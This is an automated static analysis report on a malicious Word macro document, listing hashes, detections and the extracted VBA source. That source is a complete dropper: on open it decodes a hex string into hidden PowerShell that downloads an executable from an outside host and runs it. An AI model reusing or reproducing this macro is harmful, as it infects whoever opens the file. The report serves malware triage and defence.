Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e637048e9e942ea8…

MALICIOUS

Office (OOXML)

56.1 KB Created: 2021-01-31 23:09:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-04-10
MD5: ae1f141c6ce34771fc44c5f5f489f88c SHA-1: 4bb2e546466179ef3dee8a4eee5c47d99ea586eb SHA-256: e637048e9e942ea841d336a034caea99383c0533b84cfe1c67f1c05a75d5880a
192 Risk Score

Heuristics 7

  • ClamAV: Doc.Dropper.Generic-9823774-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Generic-9823774-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Call Shell(ChrEncode("706F7765727368656C6C2E657865202D657865637574696F6E706F6C69637920627970617373202D572048696464656E202D636F6D6D616E6420286E65772D6F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F7365762E6D696C656E62617A696E736B692E6D653A323039352F61622F6164352E657865272C24656E763A54656D702B275C6179612E65786527293B284E65772D4F626A656374202D636F6D205368656C6C2E4170706C69636174696F6E292E5368656C6C457865637574652824656E763A54656D702B275C6179612E65 …
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2702 bytes
SHA-256: 2dc68c06446e4a5826a4b0075087542544ebea51c7b0146ead4294b6d74c3e11
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub uma6()

Local $pfc = ["xlprtelccwsgbwoviubhrzxkw" ,Sqrt(BitOr(Int(46926),4054)) ,"qjqhfvzbvfzrxqhvcryjkizlx" ,BitNot(BitNot(BitAnd(58939,6544))) ,"wotxgraszhfffpbnghimveqvx" ,BitNot(BitAnd(43959,6122)) ,BitAnd(BitOr(BitNot(82294),915),443) ,"zmxafmgmcjhspbvhfohrqkbbe" ]
Local $pthffnavst = [BitNot(BitOr(BitXOR(66878,1936),5934)) ,BitNot(BitRotate(BitXOR(80892,4609))) ,"esceqgqagmvrgephidqsbpdmi" ,Sqrt(BitOr(BitRotate(91187),4393)) ,BitRotate(BitNot(Int(83021))) ,"psfanrqutopvibrlqvsmjjanf" ,BitXOR(BitOr(BitNot(85127),4859),4666) ,BitNot(BitAnd(66238,7826)) ,Sqrt(BitNot(BitNot(91379))) ,BitXOR(Sqrt(Sqrt(95919)),9361) ,BitOr(BitAnd(28420,5615),5541) ,BitOr(BitOr(BitOr(24443,3013),1903),659) ,Int(BitAnd(94254,6748)) ,BitOr(BitRotate(Sqrt(15471)),2932) ,"lkmevdrtudppcmqcdnilrqdtz" ,BitAnd(Int(Sqrt(22945)),9914) ,BitAnd(BitOr(11085,3548),5315) ]
Local $bjuhqizotr = ["bwrhntrctaobqdinoymzibvjv" ,BitRotate(BitNot(18123)) ,"roycefctqotuabdzsamnqtevy" ,"sdmfatpznagbjjfxlywaoipwx" ,"dxezmxujnmlgtkuqyhwtcrzmh" ,Sqrt(BitAnd(BitNot(19389),9106)) ,"tsmgartqqwhhdjyplppvqrfsz" ,"udsavbunkstceqovmxzpfkdgs" ,Int(Sqrt(Int(7549))) ,BitOr(BitRotate(33525),3889) ,"huvszqnumaiwegqyrljtwvmwu" ,"bahnltbpeqnoskxsbzsuqmckb" ,BitRotate(BitXOR(BitAnd(73714,2319),4731)) ,Int(BitOr(BitXOR(2772,7525),275)) ,BitOr(BitOr(58183,416),2038) ,"eadrbjynxhupupwwlrdwtblwf" ,BitAnd(Sqrt(Int(87588)),5634) ,BitRotate(BitXOR(BitOr(83001,8981),4114)) ,BitXOR(BitAnd(2375,917),7554) ,"dphqaawtrowwealldbujspkkn" ,"rwzvddhthzlnfqwaervhihbgq" ,BitAnd(Int(38739),8165) ,"eccebicefazscinyathigtqgp" ,"xcnyupgijjmnowslprbmqbkyk" ]
Local $mwgvim

End Sub



Sub rao3()
Call Shell(ChrEncode("706F7765727368656C6C2E657865202D657865637574696F6E706F6C69637920627970617373202D572048696464656E202D636F6D6D616E6420286E65772D6F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F7365762E6D696C656E62617A696E736B692E6D653A323039352F61622F6164352E657865272C24656E763A54656D702B275C6179612E65786527293B284E65772D4F626A656374202D636F6D205368656C6C2E4170706C69636174696F6E292E5368656C6C457865637574652824656E763A54656D702B275C6179612E6578652729"))
End Sub

Function ChrEncode(str)
    Dim i
    Dim sStr
    sStr = ""
    For i = 1 To Len(str) Step 2
        sStr = sStr + Chr(CLng("&H" & Mid(str, i, 2)))
    Next
    ChrEncode = sStr
End Function

Sub autoopen()
rao3
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: d251a42cc4170602bcb0b8eb29fc39aa4036f48c7eeff5f6e0ee8a640eac6de1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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